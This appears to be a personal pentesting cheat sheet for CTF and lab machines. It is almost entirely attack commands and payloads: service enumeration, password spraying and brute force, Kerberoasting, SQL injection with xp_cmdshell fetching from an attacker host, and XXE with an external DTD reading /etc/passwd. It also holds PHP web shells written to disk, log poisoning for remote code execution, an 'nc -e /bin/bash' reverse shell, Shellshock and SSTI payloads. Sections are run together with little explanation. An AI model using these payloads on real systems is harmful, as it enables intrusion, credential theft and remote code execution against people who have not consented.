z# EzpzCheatSheet This CheatSheet will not have much explanation. It just a commands that has been used pwning all of the machines from various platform and something that I have encounter before. Also any notes, CTF and others that help me.
Also, do check this notes here https://github.com/aniqfakhrul/archives !
=> Commands
$ wget -m --no-passive ftp://anonymous:[email protected]
$ ftp 10.10.10.10 5581=> Install
$ sudo apt install openssh-server
=> Commands
$ ssh [email protected]
$ ssh [email protected] -i id_rsa
=> Nmap
=> Service
$ sudo systemctl status ssh
$ sudo systemctl enable ssh
$ sudo systemctl start ssh
=> References
$ https://www.cyberciti.biz/faq/ubuntu-linux-install-openssh-server/=> Nmap
$
=> Enum Users
$ smtp-user-enum -M VRFY -U /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 10.10.10.10
=> Swaks (Send Email)
$ swaks --to [email protected] --from [email protected] --header "Subject: Welcome" --body "Enjoy your stay!" --server 10.10.10.10=> Install
$ sudo apt install dnsutils
=> Nmap
$ nmap -n --script "(default and *dns*) or fcrdns or dns-srv-enum or dns-random-txid or dns-random-srcport" 10.10.10.10
=> Nslookup
$ nslookup 10.10.10.10
* server 10.10.10.10
* 10.10.10.10
=> Dig
$ dig bank.local axfr @10.10.10.10
=> Host
$ host -t ns megacorpone.com=> Install Apache2
$ sudo apt install apache2
=> Service
$ sudo systemctl status apache2
$ sudo systemctl enable apache2
$ sudo systemctl start apache2
=> References
$ https://www.digitalocean.com/community/tutorials/how-to-install-the-apache-web-server-on-ubuntu-20-04=> Nmap
=> Enumerate Users
$ kerbrute userenum -d bank.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
=> Bruteforce User
$ kerbrute bruteuser -d bank.local --dc 10.10.10.10 rockyou.txt nik
=> Passwword Spray
$ kerbrute passwordspray -d bank.local --dc 10.10.10.10 user.txt 'Password@123!'
=> Kerberoasting
$ GetUserSPNs.py bank.local/nik:'Password@123!' -dc-ip 10.10.10.10 -request -outputfile output.txt
$ 13100 hashcat mode
=> bloodhound-python
$ bloodhound-python -u 'nik' -p 'Password@123!' -d 'bank.local' -ns 10.10.10.10
$ bloodhound-python -u 'nik' --hashes 'aad3b435b51404eeaad3b435b51404ee:f220d3988deb3f516c73f40ee16c431d' -d 'bank.local' -ns 10.10.10.10=> Nmap
=> Banner Grabbing
$ nc -nv 10.10.10.10 110
$ openssl s_client -connect 10.10.10.10:995 -crlf -quiet
=> Connect
$ telnet 10.10.10.10 110
* USER nik
* PASS Password@123!
* list
* retr 1
* quit=> Nmap
=> Rpcclient
$ rpcclient -U '' -N 10.10.10.10
=> Rpcclient Commands
$ enumdomusers
$ netshareenum
$ netshareenumall
$ srvinfo
$ queryuser 500
$ querydispinfo
$ enumdomains
$ enumprivs
=> Install
$ sudo apt install samba
=> Service
$ sudo systemctl status smbd
$ sudo systemctl start smbd
$ sudo systemctl stop smbd
=> Configuration file
$ /etc/samba/smb.conf
$ sudo smbpasswd -a username
=> Nmap
$ nmap --script "safe or smb-enum-*" -p 445 10.10.10.10
$ nmap --script smb-vuln* -p 137,139,445 10.10.10.10
=> Smbmap
$ smbmap -H 10.10.10.10
$ smbmap -H 10.10.10.10 -u raj -p 123
$ smbmap -H 10.10.10.10 -P 139
=> Smbclient
$ smbclient -L 10.10.10.10
$ smbclient -N \\\\10.10.10.10\\Users -c "prompt OFF;recurse ON;mget *"
$ smbclient -N \\\\10.10.10.10\\Users -c "prompt OFF;recurse ON;ls"
$ smbclient -U 'nik' \\\\10.10.10.10\\Data -c "prompt OFF;recurse ON;mget *" 'Password@123!'
$ smbclient -U 'nik' \\\\10.10.10.10\\Data -c "prompt OFF;recurse ON;ls" 'Password@123!'
$ smbclient -U 'nik' \\\\10.10.10.10\\Data -c "get \Windows\test.txt" 'Password@123!' -t 10000
=> Smbget
$ smbget -R smb://10.10.10.10/users$/nik/nik.xml -U 'nik'
=> Crackmapexec
$ crackmapexec smb --gen-relay-list targets.txt 10.10.10.0/24
$ crackmapexec smb 10.10.10.10 -u 'nik' -p 'Password@123!' -X whoami --amsi-bypass /tmp/amsiibypass
$ crackmapexec smb 10.10.10.10 -u 'nik' -p 'Password@123!' -x whoami
$ crackmapexec smb 10.10.10.10 -u 'nik' -H hash_uniq.txt
=> Enum4linux
$ enum4linux 10.10.10.10
$ enum4linux -u "user" -p "password" -a 10.10.10.10
$ for i in $(cat list.txt); do enum4linux -a $i;done
=> References
$ https://ubuntu.com/tutorials/install-and-configure-samba=> Nmap
$ nmap -sV --script imap-brute -p 143 10.10.10.10=> Install
$ pip install snmpclitools
$ sudo apt-get install snmp-mibs-downloader
=> Snmp-check
$ snmp-check 10.10.10.10 -c public
=> Snmpwalk
$ snmpwalk -v1 -c public 10.10.10.10
$ snmpwalk -c public 10.10.10.10
$ snmpwalk -v1 -c public 10.10.10.10 1
$ snmpwalk -v1 -c public 10.10.10.10 2
$ snmpwalk -v 1 -c public 10.10.10.10 NET-SNMP-EXTEND-MIB::nsExtendOutputFull
$ snmpwalk -m +MY-MIB -v 2c -c public 10.10.10.10 nsExtendObjects
$ snmpwalk -m +MY-MIB -v 1 -c public 10.10.10.10 nsExtendObjects
$ snmpwalk -m ALL -v 2c -c public 10.10.10.10 nsExtendObjects
=> Onesixtyone
$ onesixtyone -c /path/to/seclists/Discovery/SNMP/snmp-onesixtyone.txt -i ip.txt=> Nmap
$ nmap -n-sU -p 623 10.10.10.10
=> Metasploit
$ use auxiliary/scanner/ipmi/ipmi_cipher_zero
$ use auxiliary/scanner/ipmi/ipmi_version
=> Authentication Bypass Cipher 0
$ ipmitool -I lanplus -C 0 -H 10.10.10.10 -U Username -P Password user list
=> Default Credentials
Administrator:<8 character string>
admin:admin
root:calvin
root:changeme
ADMIN:ADMIN
=> References
$ https://book.hacktricks.xyz/pentesting/623-udp-ipmi
$ https://www.tzulo.com/crm/knowledgebase/47/IPMI-and-IPMITOOL-Cheat-sheet.html=> Nmap
$ nmap -n -sV --script "ldap* and not brute" 10.10.10.10
=> LdapSearch
$ ldapsearch -h 10.10.10.10 -x -b 'DC=bank,DC=local' -s sub
$ ldapsearch -LLL -x -H ldap://10.10.10.10 -b '' -s base '(objectclass=*)'
$ ldapsearch -x -h 10.10.10.10 -D 'BANK\nik' -w 'Password@123!' -b 'CN=Users,DC=bank,DC=local'
$ ldapsearch -x -h 10.10.10.10 -D '[email protected]' -w 'Password@123!' -b 'CN=Users,DC=bank,DC=local'
$ ldapsearch -x -h 10.10.10.10 -D '[email protected]' -w 'Password@123!' -b 'CN=Users,DC=bank,DC=local' | grep -i <user> -C 40
$ ldapsearch -x -h 10.10.10.10 -D '[email protected]' -w 'Password@123!' -b 'DC=bank,DC=local' "(userAccountControl:1.2.840.113556.1.4.803:=524288)" samaccountname
=> Ldap Queries
=> find domain computers not dc
$ ([adsisearcher]"(&(objectCategory=computer)(!(userAccountControl:1.2.840.113556.1.4.803:=8192)))").findall()
=> find domain controllers
$ ([adsisearcher]"(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))").findall()
=> find all domain users
$ ([adsisearcher]"(&(objectcategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))").findall()
=> Get samaccountname
$ ([adsisearcher]"(&(objectcategory=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))").findall().Properties.samaccountname
=> Nmap
$ nmap -sV --script "rsync-list-modules" -p 873 10.10.10.10
=> Command
$ rsync -av --list-only rsync://10.10.10.10/Modules
$ rsync -av rsync://10.10.10.101/Conf ./shared
$ rsync -av ./test.txt rsync://10.10.10.10/Modules/test.txt
=> References
$ https://book.hacktricks.xyz/pentesting/873-pentesting-rsync=> Commands
$ SELECT @@version
$ SELECT DB_NAME()
$ SELECT name FROM master..sysdatabases;
=> Enable xp_cmdshell
$ sp_configure 'show advanced options', '1'
$ RECONFIGURE
$ sp_configure 'xp_cmdshell', '1'
$ RECONFIGURE
$ EXEC master..xp_cmdshell 'whoami'
=> Convert
$ select convert(varchar(100),0X54455354);
=> sqsh
$ sqsh -U sa -P password -S 10.10.10.10
* EXEC master..xp_cmdshell 'whoami'
* go
=> Playground
$ https://sqliteonline.com/
=> References
$ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md
=> Nmap
$ nmap -sV --script=nfs-showmount <target>
=> Showmount
$ showmount -e 10.10.10.10
=> Mount
$ mount -t nfs 10.10.10.10:/home mnt
$ mount -o vers=3 -t nfs 10.10.10.10:/home mnt=> Ffuf
$ ffuf -u 'http://10.10.10.10/FUZZ' -w common.txt:FUZZ -x http://10.10.10.10:3128
=> proxychains
$ echo "http 10.10.10.10 3128" >> /etc/proxychains.conf
* proxychains ssh [email protected]=> Commands
$ mysql -u root -p -h 10.10.10.10
$ mysql -u root -pPassword123 -e "use drupal;select * from users"
=> Bruteforce
$ hydra -l nik -p password.txt 10.10.10.10 mysql -t 30 -f
=> Check UDF
$ select * from msql.func;
=> Mysql Commands
$ select sys_exec('whoami');=> Nmap
$ nmap -p 3389 --script=rdp-vuln-* 10.10.10.10
=> Commands
$ xfreerdp /u:nik /p:'Password@123!' /cert:ignore /v:10.10.10.10
$ xfreerdp /u:admin /p:password /cert:ignore /v:10.10.10.10 /drive:share_mount,/opt/folder_to_mount
$ rdesktop -a 16 -z -u admin -p password 10.10.10.10
$ rdesktop -f -u "" 10.10.10.10
=> References
$ https://www.n00py.io/2021/05/dumping-plaintext-rdp-credentials-from-svchost-exe/=> Nmap
$ nmap -p 3632 10.10.10.10 --script distcc-exec --script-args="distcc-exec.cmd='id'"
=> Install
$ sudo apt-get install redis-tools
=> Commands
$ redis-cli -h 10.10.10.10
* keys *
* get pk:ids:User
* info
* client list
* CONFIG GET *
$ redis-cli -h 10.10.10.10 -p 6379 eval "dofile('//10.10.11.1//share')" 0
$ redis-cli -h 10.10.10.10 -p 6379 eval "dofile('/etc/passwd')" 0
=> redis-dump-go
$ https://github-com.translate.goog/yannh/redis-dump-go
=> Downloads
$ https://download.redis.io/releases/
=> References
$ https://book.hacktricks.xyz/pentesting/6379-pentesting-redis=> User Enumeration
$ http://127.0.0.1:8086/debug/requests
=> Usage
$ curl -G "http://10.10.10.10:8086/query?pretty=true" -H "Authorization: Bearer <JWT>" --data-urlencode "q=show databases"
$ curl -G "http://10.10.10.10:8086/query?pretty=true" -H "Authorization: Bearer <JWT>" --data-urlencode "db=database" --data-urlencode "q=select * from \"tables\""
$ curl -G "http://10.10.133.227:8086/query?pretty=true" -H "Authorization: Bearer <JWT>" --data-urlencode "db=database" --data-urlencode "q=select * from times" --data-urlencode "epoch=s"
=> Commands
$ show databases
$ show measurements
$ show users
$ select * from tables
=> References
$ https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
$ https://docs.influxdata.com/influxdb/v1.8/administration/authentication_and_authorization/=> Commands
$ mongo localhost:27017/myplace -u nik -p Password123
* show dbs
* use <db>
* show collections
* db.<collection found>.find()
* db.<collection found>.insert( { _id: 1, cmd: "curl 10.10.14.4/test"} )# Download/Install
https://github.com/zu1k/nali
go get -u -v github.com/zu1k/nali
# Usage
echo 6.6.6.6 | nali
nali 1.2.3.4
nali 1.2.3.4 4.3.2.1 123.23.3.0
nslookup nali.lgf.im 8.8.8.8 | nali
nslookup google.com | nali
=> Commands
$ knocker.py -p 8890,7000,666 10.10.10.10
$ for i in 571 290 911;do nmap -n -v0 -Pn --max-retries 0 -p $i 10.10.10.10;done
$ knock 10.10.10.10 7000:666:8890
=> Permutation (Port)
$ python -c 'import itertools; print list(itertools.permutations(\[8890,7000,666\]))' | sed 's/), /\\n/g' | tr -cd '0-9,\\n' | sort | uniq > permutation.txt
# No netstat or lsof
$ declare -a array=($(tail -n +2 /proc/net/tcp | cut -d":" -f"3"|cut -d" " -f"1")) && for port in ${array[@]}; do echo $((0x$port)); done
$ declare -a array=($(tail -n +2 /proc/net/tcp | cut -d":" -f"3"|cut -d" " -f"1")) && for port in ${array[@]}; do echo $((0x$port)); done | sort | uniq
$ https://www.commandlinefu.com/commands/view/15313/check-open-ports-without-netstat-or-lsof
# Another Port Scanning
$ for i in {1..65535};do (echo < /dev/tcp/127.0.0.1/$i) &>/dev/null && printf "\n[+] Open Port at\n: \t%d\n" "$i" || printf "."; done# Commands
$ curl -XGET -G -b 'PHPSESSID=cnc4ofdvpm1770nodu7lcbte46' 'http://localhost/tracks.php' --data-urlencode "id=9999 union select 1,database(),3-- -"# Install
easy_install shodan
# Commands
shodan init "<API_KEY"
shodan domain example.com
[MYSQL]
=> Get Current Database
$ database()
=> Get Database
$ UNION SELECT table_schema FROM information_schema.tables
=> Get Table Name
$ UNION SELECT table_name FROM information_schema.tables WHERE table_schema == "database"
=> Get Column Name
$ UNION SELECT table_name, column_name FROM information_schema.columns
=> ===Time Based===
=> Get Database
$ (SELECT sleep(5) from dual where substring(database(),1,1)='h')
$ (SELECT sleep(5) from dual where substring(database(),2,1)='h')
=> Get Tables
$ (SELECT sleep(5) from information_schema.tables where table_name LIKE '%hotel%')
=> Get Columns
$ (SELECT sleep(5) from information_schema.columns where column_name LIKE '%room%' AND table_name='hotel')
=> Extract
$ IF((select MID(user,1,1) from mysql.user limit 0,1)='D' , sleep(5),0)
=> Extra
$ (select IF(500>1000, "nothing", sleep(5)))
=> ===Union Based===
=> Get Database
$ 9999 union select 1,database(),3,4,5
=> Get Tables
$ 9999 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema like "%hotel%"
=> Get Columns
$ 9999 union select 1, group_concat(column_name),3,4,5 from information_schema.columns where table_name like "%room%"
=> Extract
$ 9999 union select 1,group_concat(user,":",password),3,4,5 from mysql.user
=> ===Blind===
[WHERE]
$ ' and password like 'k%'--
=> Write File
$ Set Global General_Log_File = '/tmp/test.php';
$ Select '<?php system($_GET[]); ?>';
$ select '<?php system($_GET["cmd"]); ?>' into outfile 'C:/xampp/htdocs/shell4.php'
=> Read File
$ load_file("/etc/passwd");
[ORACLE]
=> Get Current Database
$ union SELECT SYS.DATABASE_NAME,'b',1 FROM v$version--
=> Get All Tables
$ ' union SELECT table_name,'b',1 FROM all_tables--
=> Get Columns
$ ' union SELECT column_name,'b',1 FROM all_tab_columns WHERE table_name = 'TABLE'--
=> Extract
$ ' union SELECT USERNAME,'b',1 FROM TABLE--
$ ' union SELECT USERNAME||':'||PASSWORD,'',1 FROM TABLE--
[MSSQL]
=> Payload (Encounter Before)
$ A';waitfor delay '0:0:00';--
$ ' OR 1=1 OR 'A' LIKE 'A
$ ';EXEC master..xp_cmdshell 'powershell.exe -c curl http://10.10.10.10/';--
$ ';EXEC master..xp_cmdshell 'powershell.exe -c iwr http://10.10.10.10/';--
=> Check File exist or Not
=> Corect Path
$ ';DECLARE @isExists INT ;EXEC xp_fileexist 'C:\windows\win.ini', @isExists OUT Select @isExists;IF(@isExists=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Wrong Path
$ ';DECLARE @isExists INT ;EXEC xp_fileexist 'C:\windows\win2.ini', @isExists OUT Select @isExists;IF(@isExists=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Check Directory/Files Exist Or Not
=> Correct
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'IF EXIST "C:\windows\" (Exit 1) ELSE (Exit 0)',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Wrong
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'IF EXIST "C:\windows2\" (Exit 1) ELSE (Exit 0)',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Check Hostname
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c "IF(((hostname)[0] -eq [char]67)){EXIT 1} ELSE {EXIT 2}"',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Check APPDATA Path
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c "IF(($env:APPDATA[0] -eq [char]67)){EXIT 1} ELSE {EXIT 2}"',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Check Substring
=> Correct
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c "IF(((Get-ChildItem -Path C:\ -Force -Directory)[0].fullName[0] -eq [char]67)){EXIT 1} ELSE {EXIT 2}"',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Wrong
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c "IF(((Get-ChildItem -Path C:\ -Force -Directory)[0].fullName[0] -eq [char]66)){EXIT 1} ELSE {EXIT 2}"',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Powershell IF ELSE
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c IF ("1" -eq "1") {EXIT 1} ELSE {EXIT 0}',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c IF (1 -eq 1) {EXIT 1} ELSE {EXIT 0}',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c IF (echo 1) {EXIT 1} ELSE {EXIT 0}',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c IF ( Test-Path C:\ ) {EXIT 1} ELSE {EXIT 0}',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
$ ';DECLARE @rc INT;EXEC @rc=master..xp_cmdshell 'powershell.exe -c "IF(Get-ChildItem -Path C:\){EXIT 1} ELSE {EXIT 2}"',no_output;IF(@rc=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Simple IF ELSE
$ ';DECLARE @value INT = 1;IF(@value=1) WAITFOR DELAY '0:0:10' ELSE WAITFOR DELAY '0:0:0' ;--
=> Payload (Enable xp_cmdshell)
$ ';sp_configure 'show advanced options', '1';RECONFIGURE;--
$ ';sp_configure 'xp_cmdshell', '1';RECONFIGURE;--
=> Time Based
$ ;waitfor delay '0:0:10'--
$ );waitfor delay '0:0:10'--
$ ';waitfor delay '0:0:10'--
$ ');waitfor delay '0:0:10'--
$ ));waitfor delay '0:0:10'--
=> References
$ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md
$ https://www.sqlservercentral.com/forums/topic/determining-whether-a-directory-exists-xp_dirtree-xp_subdirs
[SQLITE]
=> Command
$ sqlite3 databse.db
$ .tables
$ select * from user;
$ .schema user
$ UPDATE user SET passwd = "" where id 2;=> Payload (1)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<report>
<title>&xxe;</title>
<writer>John</writer>
</report>
=> Payload (2)
# send this on the application
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % ext SYSTEM "http://10.10.10.10/poc.dtd">
%ext;
]>
<message></message>
# content of poc.dtd
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
=> References
$ https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XXE%20Injection/README.md
# Introspection
{"query":"{\r\n __schema {\r\n queryType { name }\r\n mutationType { name }\r\n subscriptionType { name }\r\n types {\r\n ...FullType\r\n }\r\n directives {\r\n name\r\n description\r\n locations\r\n args {\r\n ...InputValue\r\n }\r\n }\r\n }\r\n }\r\n\r\n fragment FullType on __Type {\r\n kind\r\n name\r\n description\r\n fields(includeDeprecated: true) {\r\n name\r\n description\r\n args {\r\n ...InputValue\r\n }\r\n type {\r\n ...TypeRef\r\n }\r\n isDeprecated\r\n deprecationReason\r\n }\r\n inputFields {\r\n ...InputValue\r\n }\r\n interfaces {\r\n ...TypeRef\r\n }\r\n enumValues(includeDeprecated: true) {\r\n name\r\n description\r\n isDeprecated\r\n deprecationReason\r\n }\r\n possibleTypes {\r\n ...TypeRef\r\n }\r\n }\r\n\r\n fragment InputValue on __InputValue {\r\n name\r\n description\r\n type { ...TypeRef }\r\n defaultValue\r\n }\r\n\r\n fragment TypeRef on __Type {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n ofType {\r\n kind\r\n name\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }"}
# Query
{"query":"{\r\n AllNotes\r\n {\r\n id,author,title\r\n }\r\n }"}
# References
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
https://apis.guru/graphql-voyager/=> Export Proxy
export HYDRA_PROXY=connect://127.0.0.1:8080
=> Install
sudo apt-get install hydra-gtk
=> Commands
hydra -l nik -p rockyou.txt 10.10.10.10 ssh -t 30 -f
hydra -L user.txt -P pass.txt 10.10.10.10 ssh -t 30 -f
hydra -L user.txt -P pass.txt 10.10.10.10 ssh -s 2222 -t 30 -f
=> Json
hydra -l admin -P rockyou.txt localhost http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^","recaptcha"\:""}:Forbidden' -V -f
=> Json (Bypass WAF - User agent Hydra)
hydra -l admin -P rockyou.txt localhost http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:H=User-Agent\: Mozilla/5.0:H=Content-Type\: application/json:F=Wrong credentials' -V -f
=> POST
hydra -l admin -P rockyou.txt 10.10.10.10 -s 30609 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:F=loginError"
=> GET
hydra -l user -P rockyou.txt 10.10.10.10 http-get / # References
https://github.com/streaak/keyhacks
# Download
https://github.com/Jake-Ruston/JSONBrute
#Example 1
python3 jsonbrute.py --url http://localhost/v2/login --wordlist rockyou.txt --data "username=user, password=FUZZ" --code 200
#Example 2
python3 jsonbrute.py --url http://localhost/api/login --wordlist rockyou.txt --data "username=admin, password=FUZZ, recaptcha= " --code 200 --verbose#PROXY (-p)
wfuzz -u http://localhost/authenticate -w test.txt -d "uname=admin&psw=FUZZ&remember=on" -p 127.0.0.1:8080 -H "Referer: http://localhost/authenticate"
#COOKIES (-b)
wfuzz -u http://localhost/admin/FUZZ.php -w big.txt -b PHPSESSID=1e28or9cmi6ua05d78tov7j7t4 --hc 404
#POST & output in url (/?login=username_incorrect)
wfuzz -u http://localhost/login -w users.txt -w pass.txt -d "username=FUZZ&password=FUZ2Z"# Commands
# Subdomain/Vhost
gobuster vhost -r --url http://bank.local/ --wordlist subdomains-top1million-110000.txt -t 50
gobuster vhost -k -r --url https://bank.local/ --wordlist subdomains-top1million-110000.txt -t 50# Commands
vault kv list ssh/roles/
vault kv get secret/creds
vault kv put secret/creds passcode=my-long-passcode
vault ssh -mode=otp -role=my-role root@localhost
# References
https://www.vaultproject.io/
https://www.vaultproject.io/docs/commands/ssh# Install
# Commands
ffuf -u 'http://10.10.10.10/FUZZ' -w common.txt:FUZZ -e .php,.html,.txt,.bak -t 50
ffuf -u 'https://FUZZ.bank.local' -w subdomains-top1million-20000.txt:FUZZ -t 30
ffuf -u 'http://10.10.10.10/' -w sqli.txt:FUZZ -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "username=FUZZ&password=FUZZ" -fc 200
ffuf -u 'https://10.10.10.10/FUZZ' -w common.txt:FUZZ -e .txt -t 1 -fs 1508 -fl 4
# Subomdina/Vhost
ffuf -ic -c -u "http://bank.local/" -H "Host: FUZZ.bank.local" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -fc 301
# POST Method
ffuf -u 'http://10.10.10.10/main/wp-login.php' -w user.txt:USER -w pass.txt:PASS -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "log=USER&pwd=PASS&wp-submit=Log+In"
ffuf -u 'http://10.10.10.10/login.php' -w user.txt:FUZZ -w pass.txt:FUZ2Z -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user=FUZZ&pass=FUZ2Z" --fc 200
ffuf -u 'http:/10.10.10.10/login.php' -w user.txt:FUZZ -w pass.txt:FUZ2Z -X POST -H "Content-Type: application/x-www-form-urlencoded" -d "user=FUZZ&pass=FUZ2Z"
# With Cookie
ffuf -u "http://10.10.10.10/FUZZ" -w common.txt:FUZZ -t 1 -b "cookie1=asdasdasd;cookie2=asdasdasd"
# Timeout
ffuf -u "http://10.10.10.10/FUZZ" -w common.txtt:FUZZ -e .txt,.html -t 1 -timeout 40 -fs 200
# With proxy
ffuf -u 'http://10.10.10.10/FUZZ' -w common.txt:FUZZ -t 30 -e .php,.html,.txt -x http://10.10.10.10:3128Change content-type
* text/html
* image/gif
* image/jpeg
extension
* .png.php
* .php.png
* .php%00.png
* .phtml
# Php content
<?php system($_GET['cmd']);?># References
-> https://book.hacktricks.xyz/pentesting-web/file-inclusion
===PHP Wrapper===
php://filter/convert.base64-encode/resource=index.php
pHp://FilTer/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
=======Linux======
# Wordlists
/var/log/mail.log
/etc/passwd
/etc/ldap.secret
/etc/shadow
/etc/hosts
/etc/knockd.conf
/etc/exports
/proc/<PID>/cmdline
=======LFI To RCE========
#-----[/var/log/mail.log]-----
nc 10.10.10.10 25
HELO test
MAIL FROM: "test <?php system($_GET['cmd']);?>"
RCPT TO: root
DATA
.
#RCE
?page=/var/log/mail&cmd=ls -la
#-----[/var/log/apache2/access.log]-----
curl http://10.10.10.10 -A '<?php system($_GET["cmd"]); ?>'
#RCE
?book=../../../../../../var/log/apache2/access.log&cmd=ls -la
#-----[/var/mail/USER]-----
nc 10.10.10.10 25
HELO test
MAIL FROM: www-data@solstice
RCPT TO:www-data@solstice
DATA
<?php system($_GET["cmd"]); ?>
.
#RCE
?book=../../../../../../var/mail/www-data&cmd=ls -la
======Windows======
# Wordlists
C:/windows/win.ini
C:/windows/system.ini
C:/windows/bootstat.dat
C:/Program Files/Windows NT/Accessories/WordpadFilter.dll
C:/Program Files/Common Files/mirosoft shared/Web Server Extensions/<Number 1-20>/BIN/FPWEC.DLL
C:/Program Files/Exchsrvr/MDBDATA/Privi.edb
C:/inetpub/wwwroot/iisstart.htm
C:/windows/Microsoft.NET/Framework64/<version v4.0.30319>/vbc.exe.config
C:/windows/Microsoft.NET/Framework64/<version v4.0.30319>/Config/web.config
C:/windows/System32/drivers/etc/hosts
C:/windows/System32/drivers/acpi.sys
C:/windows/System32/drivers/etc/networks
C:/Users/<user>/Desktop/Desktop.ini
C:/windows/debug/NetSetup.log
C:/windows/debug/mrt.log
C:/windows/system32/inetsrv/config/schema/ASPNET_schema.xml
# Refrences (Windows Wordlists)
- https://github.com/random-robbie/bruteforce-lists/blob/master/windows-lfi.txt
# ASP.Net
../../web.config
../../Images/image.jpg
../../packages.config
../../Global.asax
../../Views/web.config
../../Content/bootstrap_dropdown.css
../../Content/Site.css
../../Views/_ViewStart.cshtml
../../Views/_ViewStart.aspx
../../Views/_ViewStart.ascx
../../Views/Shared/Error.cshtml
../../Views/Shared/Error.aspx
../../Views/Shared/Error.ascx
../../Views/Home/Index.cshtml
../../Views/Home/Index.aspx
../../Views/Home/Index.ascx
../../bin/<namespace found>.dll
# Grep Use in web.config
grep -Ri namespace | grep -v namespaces | cut -d'"' -f 1-2
grep -Ri assemblyidentity | cut -d'"' -f 1-2
grep -ri " type=" | grep -v compiler | cut -d'"' -f 1-4
# References (ASP.Net)
- https://digi.ninja/blog/when_all_you_can_do_is_read.php
- https://www.c-sharpcorner.com/UploadFile/3d39b4/folder-structure-of-Asp-Net-mvc-project/
- https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html
- https://raw.githubusercontent.com/xajkep/wordlists/master/discovery/asp_files_only.txt
- http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html# ASP.NET MVC Folder Structure
MyFirstProject
- Properties
- AssemblyInfo.cs
- App_Data
-
- App_Start
-
- Content
- Site.css
- Controllers
-
- fonts
-
- Models
-
- Scripts
- something.js
- Views
- Index.cshtml/Index.aspx/Index.ascx
- web.config
- bin
- something.dll
- Images
-
- favicon.ico
- Global.asax
- packages.config
- web.config
# References
- https://www.tutorialsteacher.com/mvc/mvc-folder-structure
- https://github.com/DLarsen/Learn-ASP.NET-MVC# .Net Website Security Guidelines Checklists
https://www.codeguru.com/columns/kate/.net-website-security-guidelines-checklist.html
# Payload Command Execution
'$(nc -e /bin/bash 192.168.149.129 4444)'
"$(printf 'aaa\n/bin/sh\nls')"
() { :;}; /bin/bash
# Date
%H:%M:%S';cat ../flag;#
%H';date -f '../flag
%H' -f '../flag=> References
$ https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
=> Nunjucks
{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('id')\")()}}=> Look at robots.txt
=> Check javascript (urls,endpoints)
=> Check parameter (functionality -> role,modified)
=> URL-based (403 bypass)
-> X-Original-URL : /admin/deleteUser
